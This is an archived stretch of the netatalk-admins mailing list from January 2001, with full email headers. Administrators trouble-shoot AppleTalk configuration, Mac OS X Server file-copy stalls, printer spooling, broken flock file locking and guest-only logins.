From netatalk.administrators-errors@umich.edu  Thu Jan 11 17:38:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA02317
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Jan 2001 17:38:11 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA27736
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Jan 2001 17:38:11 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA27715
	for netatalk.administrators-members@umich.edu; Thu, 11 Jan 2001 17:38:09 -0500 (EST)
Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA27655
	for <netatalk-admins@umich.edu>; Thu, 11 Jan 2001 17:38:07 -0500 (EST)
Received: from fwd02.sul.t-online.com 
	by mailout02.sul.t-online.com with smtp 
	id 14GqMA-0001at-07; Thu, 11 Jan 2001 23:38:06 +0100
Received: from server.linau.de (320064501249-0002@[193.159.26.84]) by fmrl02.sul.t-online.com
	with esmtp id 14GqM4-0DkAYyC; Thu, 11 Jan 2001 23:38:00 +0100
Received: from [192.168.2.2] (pulsar.linau.de [192.168.2.2])
	by server.linau.de (8.9.3/8.9.3) with ESMTP id XAA07827
	for <netatalk-admins@umich.edu>; Thu, 11 Jan 2001 23:37:17 +0100
Mime-Version: 1.0
Message-Id: <p0431010bb683e5d310ac@[192.168.2.2]>
In-Reply-To: 
 <F38EC38186E1D411B2BB00A024E128D4016C1D@mail.com.mi-group.com>
References: 
 <F38EC38186E1D411B2BB00A024E128D4016C1D@mail.com.mi-group.com>
X-Mailreader: Eudora 4.3.1 Macintosh
Date: Thu, 11 Jan 2001 23:37:01 +0100
To: <netatalk-admins@umich.edu>
From: Christian Schmidt <ChriSchmiLi@gmx.de>
Subject: Re: AppleTalk only seems to be semi-functional.
 Everything works over 	 TCP/IP
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Sender: 320064501249-0002@t-dialin.net

Alexi Margo schrieb am 11.01.2001:

>  Jan 11 10:52:35 miserver1 afpd[2230]: ASIP started on 127.0.0.1:548(1)

Well - try editing your atalkd.conf and tell netatalk which network 
interface to use.
127.0.0.1 is the loopback interface...

hth,
Christian
-- 
Made with a Macintosh...
ChriSchmi@t-online.de
http://home.t-online.de/home/chrischmi/

From netatalk.administrators-errors@umich.edu  Thu Jan 11 21:22:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA07289
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Jan 2001 21:22:44 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA20605
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Jan 2001 21:22:44 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA20600
	for netatalk.administrators-members@umich.edu; Thu, 11 Jan 2001 21:22:43 -0500 (EST)
Received: from schilling.ucdavis.edu (schilling.ucdavis.edu [169.237.105.1])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA20589
	for <netatalk-admins@umich.edu>; Thu, 11 Jan 2001 21:22:42 -0500 (EST)
Received: from prometheus.mailbox.ucdavis.edu (iras-3-72.ucdavis.edu [169.237.17.72])
	by schilling.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f0C2MdF23749;
	Thu, 11 Jan 2001 18:22:39 -0800 (PST)
Message-Id: <5.0.2.1.0.20010111181618.009fbd80@127.0.0.1>
X-Sender: itlm019/mailbox.ucdavis.edu@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Thu, 11 Jan 2001 18:19:53 -0800
To: Maurice Volaski <mvolaski@aecom.yu.edu>, netatalk-admins@umich.edu
From: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>
Subject: Re: OS X...
Cc: jasonq@usa.net
In-Reply-To: <a05001903b6839043c1ab@[129.98.91.150]>
References: <E14GdIX-00010J-00@cubeship.borgspace.alpha>
 <E14GdIX-00010J-00@cubeship.borgspace.alpha>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

I've noticed this when simply copying files from my Zip drive to a linux 
ext2 partition as well.  I have a theory that it's buffering the read, 
stops when the buffer is full to write the data to the hard drive, and then 
continues.  If that's what it is, an increase in RAM may speed things up 
(or at least delay the system stall).

At 11:36 AM 1/11/01 -0500, Maurice Volaski wrote:
>>Hi everybody!
>>
>>Now that we've got a firm release date for OSX (March 24th), I'd like to 
>>know if anybody has been able to make this OS play well with Netatalk? If 
>>so, which version.
>>
>>I would also be interested in compiling a list of OS's people are using 
>>to host Netatalk, hardware used and file systems, etc. I am toying with 
>>the idea of putting this into a database in order to find the most 
>>reliable/cost effective platform. Any comments?
>
>Check out the third paragraph below...
>
>I want to let people know there are two issues with Mac OS X Server 1.2. 
>There is no good reason to believe that the Mac OS X Beta is not similarly 
>affected.
>
>The first problem occurs when attempting to fsck a UFS volume. fsck will 
>hang when executed. The problem occurs when using the Infortrend 
>IFT-3102U2G RAID controller on a 400GB volume. This hang will occur even 
>on a freshly-initialized disk in single-user mode. This problem may be 
>related to the volume size and not the RAID controller (as I had 
>previously believed). If you are using a relatively large disk or any type 
>of hardware RAID, you should backup your data and then test whether a 
>forced fsck works.
>
>The second problem concerns HFS+. It happens when using netatalk or samba 
>to copy very large files (>> 100 MB) to the server, which will cause the 
>server (and hence the client) to stall. The larger the file the longer the 
>stall. For example, a 760MB file stalls for about 46 seconds. For files 
>about 1 GB in size, the copy can fail and the connection to the server lost!
>Under Apple File Services, this stall occurs only when the file copy is 
>cancelled during mid-copy. This issue appears to occur on all HFS+ 
>formatted volumes.
>--
>
>Maurice Volaski, mvolaski@aecom.yu.edu
>Computing Support, Rose F. Kennedy Center
>Albert Einstein College of Medicine of Yeshiva University


From netatalk.administrators-errors@umich.edu  Fri Jan 12 06:22:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA19495
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 12 Jan 2001 06:22:24 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA23769
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 12 Jan 2001 06:22:24 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA23753
	for netatalk.administrators-members@umich.edu; Fri, 12 Jan 2001 06:22:23 -0500 (EST)
Received: from smtp01.oce.nl (smtp01.oce.nl [134.188.1.25])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA23715
	for <netatalk-admins@umich.edu>; Fri, 12 Jan 2001 06:22:22 -0500 (EST)
Received: (from root@localhost)
	by smtp01.oce.nl (8.10.0/8.10.0) id f0CBMKo14732
	for netatalk-admins@umich.edu.PROCMAIL; Fri, 12 Jan 2001 12:22:20 +0100 (MET)
Received: (from uucp@localhost)
	by smtp01.oce.nl (8.10.0/8.10.0) id f0CBMIs14695;
	Fri, 12 Jan 2001 12:22:18 +0100 (MET)
Received: from smtp05(134.188.1.26) by smtp01.oce.nl via smap (V2.1)
	id xma014535; Fri, 12 Jan 01 12:21:45 +0100
Received: (from uucp@localhost)
	by smtp05.oce.nl (8.9.0/8.9.0) id MAA15352;
	Fri, 12 Jan 2001 12:21:44 +0100 (MET)
>Received: from oce.nl (pc3-spij.oce.nl [134.188.163.66])
	by smtp02.oce.nl (8.9.3/8.9.3) with ESMTP id MAA20274;
	Fri, 12 Jan 2001 12:13:00 +0100 (MET)
Sender: spij@oce.nl
Message-ID: <3A5EE08D.26EA608F@oce.nl>
Date: Fri, 12 Jan 2001 11:46:37 +0100
From: Hans Spijkerbosch <spij@oce.nl>
Organization: Oce Technologies B.V.
X-Mailer: Mozilla 4.72 [en] (X11; I; Linux 2.2.14 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Richard Goldberg <rickg@yorku.ca>
CC: netatalk-admins@umich.edu
Subject: Re: printer spooling...
References: <Pine.SOL.4.31.0101080910110.19532-100000@sunlight.ccs.yorku.ca>
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=us-ascii

Richard Goldberg wrote:
> 
> Hi all,
> 
> Our lab has lots of Macs with a sun server running netatalk for file
> sharing. We have 4 printers set up to accept print jobs directly from
> the macs over apple-talk. We would like to move the printers onto the
> net-atalk server to keep things centralized.
> 
> We put them in the papd file and it generally works fine, with the
> exception of a few computers. One running OS 8.1 and one running OSX
> (current beta). We think the problem might have something to do with the
> print jobs needing extra fonts.
> 
> Here's a question: How does the spooling process deal with downloading
> fonts to the printer? (I.e. the fonts are on the client computer, the
> printer finds out when it gets the document from the server that it
> needs a couple extra fonts from the client computer, but now its getting
> its info from a spool file on the server, rather than from the client
> computer.
> 
Apple laserwriters performs a 'feature query', in which it ask the
printer lots of questions about the printer itself and a list of the
available fonts.

Knowing this, The laserwriter can setup a desktop printer without
asking what ppd file it must use, and more importantly in your
case, it only download the fonts with each printjob that are not
present on the printer.

I have not digged into the netatalk source code (yet) so I am not
sure about it, but I think this is not implemented.



--Hans Spijkerbosch---


From netatalk.administrators-errors@umich.edu  Fri Jan 12 08:10:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA21652
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 12 Jan 2001 08:10:48 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA25297
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 12 Jan 2001 08:10:48 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA25265
	for netatalk.administrators-members@umich.edu; Fri, 12 Jan 2001 08:10:47 -0500 (EST)
Received: from tsmtp1.mail.isp ([195.235.113.141])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA25207
	for <netatalk-admins@umich.edu>; Fri, 12 Jan 2001 08:10:45 -0500 (EST)
Received: from cubeship.borgspace.alpha ([213.97.106.73]) by
          tsmtp1.mail.isp (Netscape Messaging Server 4.15) with ESMTP id
          G71WIE00.VKA for <netatalk-admins@umich.edu>; Fri, 12 Jan 2001
          14:08:38 +0100 
Received: from tangy.borgspace.alpha ([10.0.0.3] helo=tangy)
	by cubeship.borgspace.alpha with smtp (Exim 3.12 #1 (Debian))
	id 14H3yX-0001NZ-00
	for <netatalk-admins@umich.edu>; Fri, 12 Jan 2001 14:10:37 +0100
Date: Fri, 12 Jan 2001 14:10:34 +0100
Reply-To: jasonq@usa.net
Content-Type: text/plain;
	charset=us-ascii
From: Jason Quigley <jasonq@usa.net>
To: netatalk-admins@umich.edu
Subject: Re: OS X...
Message-Id: <E14H3yX-0001NZ-00@cubeship.borgspace.alpha>
Mime-Version: 1.0
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id IAA21652

Has anybody figured out yet why a lot of the files on the server show as 0KB?

There is also the problem of copying to the server causing -36 errors. I don't think it's permissions as doing the same from OS9 gives no problems.

Yet another problem is deleting items. I always get a dialog stating that the file will be deleted immediately.

Maurice, where did the message that you posted come from? I'd like to read more.

Cheers,
Jason.


On Friday, January 12, 2001, at 03:19 AM, Marc J. Miller wrote:

> I've noticed this when simply copying files from my Zip drive to a linux  
> ext2 partition as well.  I have a theory that it's buffering the read,  
> stops when the buffer is full to write the data to the hard drive, and then  
> continues.  If that's what it is, an increase in RAM may speed things up  
> (or at least delay the system stall). 
>  
> At 11:36 AM 1/11/01 -0500, Maurice Volaski wrote: 
> >>Hi everybody! 
> >> 
> >>Now that we've got a firm release date for OSX (March 24th), I'd like to  
> >>know if anybody has been able to make this OS play well with Netatalk? If  
> >>so, which version. 
> >> 
> >>I would also be interested in compiling a list of OS's people are using  
> >>to host Netatalk, hardware used and file systems, etc. I am toying with  
> >>the idea of putting this into a database in order to find the most  
> >>reliable/cost effective platform. Any comments? 
> > 
> >Check out the third paragraph below... 
> > 
> >I want to let people know there are two issues with Mac OS X Server 1.2.  
> >There is no good reason to believe that the Mac OS X Beta is not similarly  
> >affected. 
> > 
> >The first problem occurs when attempting to fsck a UFS volume. fsck will  
> >hang when executed. The problem occurs when using the Infortrend  
> >IFT-3102U2G RAID controller on a 400GB volume. This hang will occur even  
> >on a freshly-initialized disk in single-user mode. This problem may be  
> >related to the volume size and not the RAID controller (as I had  
> >previously believed). If you are using a relatively large disk or any type  
> >of hardware RAID, you should backup your data and then test whether a  
> >forced fsck works. 
> > 
> >The second problem concerns HFS+. It happens when using netatalk or samba  
> >to copy very large files (>> 100 MB) to the server, which will cause the  
> >server (and hence the client) to stall. The larger the file the longer the  
> >stall. For example, a 760MB file stalls for about 46 seconds. For files  
> >about 1 GB in size, the copy can fail and the connection to the server lost! 
> >Under Apple File Services, this stall occurs only when the file copy is  
> >cancelled during mid-copy. This issue appears to occur on all HFS+  
> >formatted volumes. 
> >-- 
> > 
> >Maurice Volaski, mvolaski@aecom.yu.edu 
> >Computing Support, Rose F. Kennedy Center 
> >Albert Einstein College of Medicine of Yeshiva University 
>  
>  
>  
>  

From netatalk.administrators-errors@umich.edu  Fri Jan 12 10:01:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA24841
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 12 Jan 2001 10:01:22 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA03994
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 12 Jan 2001 10:01:21 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA03963
	for netatalk.administrators-members@umich.edu; Fri, 12 Jan 2001 10:01:20 -0500 (EST)
Received: from post.aecom.yu.edu (post.aecom.yu.edu [129.98.1.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA03730
	for <netatalk-admins@umich.edu>; Fri, 12 Jan 2001 10:01:13 -0500 (EST)
Received: from [129.98.91.150] (usseinstein.aecom.yu.edu [129.98.91.150])
	by post.aecom.yu.edu (8.9.3/8.9.3) with ESMTP id KAA10233;
	Fri, 12 Jan 2001 10:01:04 -0500 (EST)
Mime-Version: 1.0
X-Sender: mvolaski@mailserver.aecom.yu.edu
Message-Id: <a05001900b684cc7d2004@[129.98.91.150]>
In-Reply-To: <5.0.2.1.0.20010111181618.009fbd80@127.0.0.1>
References: <E14GdIX-00010J-00@cubeship.borgspace.alpha>
 <E14GdIX-00010J-00@cubeship.borgspace.alpha>
 <5.0.2.1.0.20010111181618.009fbd80@127.0.0.1>
Date: Fri, 12 Jan 2001 10:00:57 -0500
To: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>
From: Maurice Volaski <mvolaski@aecom.yu.edu>
Subject: Re: OS X...
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>I've noticed this when simply copying files from my Zip drive to a 
>linux ext2 partition as well.  I have a theory that it's buffering 
>the read, stops when the buffer is full to write the data to the 
>hard drive, and then continues.  If that's what it is, an increase 
>in RAM may speed things up (or at least delay the system stall).
>

The problem I am referring to is due to Mac OS X Server's 
misbehavior, not netatalk.
-- 

Maurice Volaski, mvolaski@aecom.yu.edu
Computing Support, Rose F. Kennedy Center
Albert Einstein College of Medicine of Yeshiva University

From netatalk.administrators-errors@umich.edu  Fri Jan 12 10:02:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA24882
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 12 Jan 2001 10:02:30 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA03577
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 12 Jan 2001 10:02:25 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA03542
	for netatalk.administrators-members@umich.edu; Fri, 12 Jan 2001 10:02:24 -0500 (EST)
Received: from post.aecom.yu.edu (post.aecom.yu.edu [129.98.1.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA03432
	for <netatalk-admins@umich.edu>; Fri, 12 Jan 2001 10:02:23 -0500 (EST)
Received: from [129.98.91.150] (usseinstein.aecom.yu.edu [129.98.91.150])
	by post.aecom.yu.edu (8.9.3/8.9.3) with ESMTP id KAA10734;
	Fri, 12 Jan 2001 10:02:23 -0500 (EST)
Mime-Version: 1.0
X-Sender: mvolaski@mailserver.aecom.yu.edu
Message-Id: <a05001901b684ccb52d28@[129.98.91.150]>
In-Reply-To: <E14H3yX-0001NZ-00@cubeship.borgspace.alpha>
References: <E14H3yX-0001NZ-00@cubeship.borgspace.alpha>
Date: Fri, 12 Jan 2001 10:02:18 -0500
To: jasonq@usa.net
From: Maurice Volaski <mvolaski@aecom.yu.edu>
Subject: Re: OS X...
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>Maurice, where did the message that you posted come from? I'd like 
>to read more.

Me :-) They have been officially recorded as bugs by Apple.
-- 

Maurice Volaski, mvolaski@aecom.yu.edu
Computing Support, Rose F. Kennedy Center
Albert Einstein College of Medicine of Yeshiva University

From netatalk.administrators-errors@umich.edu  Fri Jan 12 14:49:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA04219
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 12 Jan 2001 14:49:54 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA05451
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 12 Jan 2001 14:49:54 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA05429
	for netatalk.administrators-members@umich.edu; Fri, 12 Jan 2001 14:49:53 -0500 (EST)
Received: from mail.iu13.k12.pa.us (mail.iu13.k12.pa.us [204.171.195.51])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA05393
	for <netatalk-admins@umich.edu>; Fri, 12 Jan 2001 14:49:52 -0500 (EST)
Received: from melange.iu13.k12.pa.us (melange.iu13.k12.pa.us [172.19.5.125])
	by mail.iu13.k12.pa.us (8.9.3/8.9.3) with ESMTP id OAA07210;
	Fri, 12 Jan 2001 14:49:40 -0500
Received: from myer (helo=localhost)
	by melange.iu13.k12.pa.us with local-esmtp (Exim 3.20 #1 (Debian))
	id 14HACh-0000ha-00; Fri, 12 Jan 2001 14:49:39 -0500
Date: Fri, 12 Jan 2001 14:49:38 -0500 (EST)
From: "Kevin M. Myer" <kevin_myer@iu13.k12.pa.us>
To: netatalk-devel@lists.sourceforge.net
cc: netatalk-admins@umich.edu
Subject: Sourceforge 1.5pre3 (and earlier) RPMS have broken flock support on
 Linux
Message-ID: <Pine.LNX.4.21.0101121434330.2616-100000@melange.iu13.k12.pa.us>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: "Kevin M. Myer" <myer@melange.iu13.k12.pa.us>

Hello,

I posted a message a few weeks ago about a problem I was seeing here
relating to file locking.  I was running a stock netatalk 1.5pre3
installation from the Sourceforge RPM and it was brought to my attention
by our users that there could be multiple read/write instances for any
file on the server.  Upon investigation, I found that here was not a
single lock being created.  I received no responses from the lists so I'm
not sure if I'm an isolated case or if no one cares that their netatalk
servers aren't locking :)

Anyway, after a lot of testing and trying to understand how the locking
was working and a lot of recompiling, I figured out that the
--enable-flock-locks option to configure was what was breaking the
locking.  When I just let if use fcntl to do the locking, everything works
perfectly.  

What this means is that at the very least, the Sourceforge 1.5pre3 (and
probably earlier releases) is broken with respect to x86 Linux
architectures.  I think I recall reading somewhere that flock was at one
time broken under Linux so maybe its an operating system issue.  In any
case, I'd recommend against using --enable-flock-locks if you're using x86
Linux.

So far, I've reproduced the problem on every x86 machine I've tried.  I
thought it might be related to the kernel on our SMP machine which has a
large file system patch on it but a uniprocessor stock 2.2.16 kernel has
the some locking problems.

If anyone could enlighten me as to whether this is a kernel issue or if
its netatalk specific, it would help with further isolating the bug.

Thanks,

Kevin

-- 
Kevin M. Myer
Systems Administrator
Lancaster-Lebanon Intermediate Unit 13
(717)-560-6140


From netatalk.administrators-errors@umich.edu  Fri Jan 12 17:28:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA08742
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 12 Jan 2001 17:28:44 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA01654
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 12 Jan 2001 17:28:44 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA01605
	for netatalk.administrators-members@umich.edu; Fri, 12 Jan 2001 17:28:42 -0500 (EST)
Received: from maverick.netonecom.net (nci.netonecom.net [209.172.26.3])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA01564
	for <netatalk-admins@umich.edu>; Fri, 12 Jan 2001 17:28:41 -0500 (EST)
Received: from srbadmin (cad-47.netonecom.net [207.142.163.47])
	by maverick.netonecom.net (8.8.7/8.8.7) with SMTP id RAA29574
	for <netatalk-admins@umich.edu>; Fri, 12 Jan 2001 17:28:39 -0500
Message-ID: <000001c07ce7$4919efa0$1d00a8c0@creativeinkcorp.com>
Reply-To: "Scott Burnham" <sburnham@creativeinkcorp.com>
From: "Scott Burnham" <sburnham@creativeinkcorp.com>
To: <netatalk-admins@umich.edu>
Subject: Basic permissions questions
Date: Fri, 12 Jan 2001 17:26:35 -0500
Organization: Creative Ink Corporation
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200

Hello,

I have a LinuxPPC 2000 box running netatalk1.4b2+asun 2.1.3-7. The sole
share is a RAID  (/mnt/gsraid). I don't use individual .AppleVolumes files;
this is just one big chunk of storage for a few graphics artists.

Basically, all works fine, I sorted out user/group configurations & logins,
but there are two things that bug me:

1. Is there a secret to getting each user a trash folder?

2. Is it normal for two users to be able to open the same document at the
same time? This leads to a "last person to save wins" situation which could
be sort of tragic.

Thanks to all,

Scott Burnham
Creative Ink


From netatalk.administrators-errors@umich.edu  Fri Jan 12 18:13:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA09852
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 12 Jan 2001 18:13:58 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA00794
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 12 Jan 2001 18:13:58 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA00752
	for netatalk.administrators-members@umich.edu; Fri, 12 Jan 2001 18:13:56 -0500 (EST)
Received: from logan.ucdavis.edu (logan.ucdavis.edu [169.237.105.35])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA25035
	for <netatalk-admins@umich.edu>; Fri, 12 Jan 2001 18:10:33 -0500 (EST)
Received: from localhost (itlm019@localhost [127.0.0.1])
	by logan.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f0CNATk20534;
	Fri, 12 Jan 2001 15:10:29 -0800 (PST)
Date: Fri, 12 Jan 2001 15:10:29 -0800 (PST)
From: Marc Miller <itlm019@mailbox.ucdavis.edu>
X-Sender: itlm019@logan.ucdavis.edu
To: Scott Burnham <sburnham@creativeinkcorp.com>
cc: netatalk-admins@umich.edu
Subject: Re: Basic permissions questions
In-Reply-To: <000001c07ce7$4919efa0$1d00a8c0@creativeinkcorp.com>
Message-ID: <Pine.GSO.4.21.0101121507130.20416-100000@logan.ucdavis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Fri, 12 Jan 2001, Scott Burnham wrote:

> 1. Is there a secret to getting each user a trash folder?

I've noticed that MacOS seems to handle that on its own.  I've found no
code in netatalk to specifically handle the trash, and it has worked fine
in all of my tests, starting with 1.4b2+asun2.1.4

> 2. Is it normal for two users to be able to open the same document at the
> same time? This leads to a "last person to save wins" situation which could
> be sort of tragic.

I saw another posting about file locking earlier today.  I've never had a
problem with it.  If two users open up the same Word file on the server,
for example, the second person to access it is asked if they want to open
it read-only since the file is already in use by someone else.  *shrug*

============================================================
	/\/\arc ._|. /\/\iller (itlm019@mailbox.ucdavis.edu)
	Computer Room Consultant
	Information Technology/Lab Management
============================================================
I can be contacted through the Communication Center link from
http://www.mother.com/~mjmiller/


From netatalk.administrators-errors@umich.edu  Sat Jan 13 15:04:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA03173
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 13 Jan 2001 15:04:33 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA03894
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 13 Jan 2001 15:04:33 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA03875
	for netatalk.administrators-members@umich.edu; Sat, 13 Jan 2001 15:04:32 -0500 (EST)
Received: from smtp8.xs4all.nl (smtp8.xs4all.nl [194.109.127.134])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA03784
	for <netatalk-admins@umich.edu>; Sat, 13 Jan 2001 15:04:29 -0500 (EST)
Received: from asterix.xs4all.nl (asterix.xs4all.nl [194.109.6.11])
	by smtp8.xs4all.nl (8.9.3/8.9.3) with ESMTP id VAA23821
	for <netatalk-admins@umich.edu>; Sat, 13 Jan 2001 21:04:27 +0100 (CET)
Received: from gildewg.xs4all.nl (uucp@localhost)
	by asterix.xs4all.nl (8.9.1/8.9.1) with UUCP id VAA04456
	for netatalk-admins@umich.edu; Sat, 13 Jan 2001 21:04:24 +0100 (CET)
Received: (from oorschot@localhost)
	by gildewg.xs4all.nl (8.10.2/8.10.2) id f0DJraJ09307;
	Sat, 13 Jan 2001 20:53:36 +0100
Date: Sat, 13 Jan 2001 20:53:36 +0100
Message-Id: <200101131953.f0DJraJ09307@gildewg.xs4all.nl>
X-Authentication-Warning: gildewg.xs4all.nl: oorschot set sender to eric@gildewg.xs4all.nl using -f
From: Eric van Oorschot <eric@gildewg.xs4all.nl>
To: netatalk-admins@umich.edu
Subject: netatalk-1.4.99-0.20001108 and MAC OS 9.0.4

I've build netatalk using netatalk-1.4.99 and am using Linux 2.2.16 and
MAC OS 9.0.4. I did "configure -with-passw" and still I only get guest 
access on my MAC.

I my /var/adm/messages file is see uam-guest.so loaded, but when I want
to load other libs, nothing gets printed in /var/adm/messages. 

Does anyone have an idea how i can use my 'normal' Linux accounts on
the MAC ?


-- 
Eric (H.M.G.) van Oorschot
Rotterdam
the Netherlands                   No HomePage http://www.xs4all.nl/~hmgvo
=========================================================================

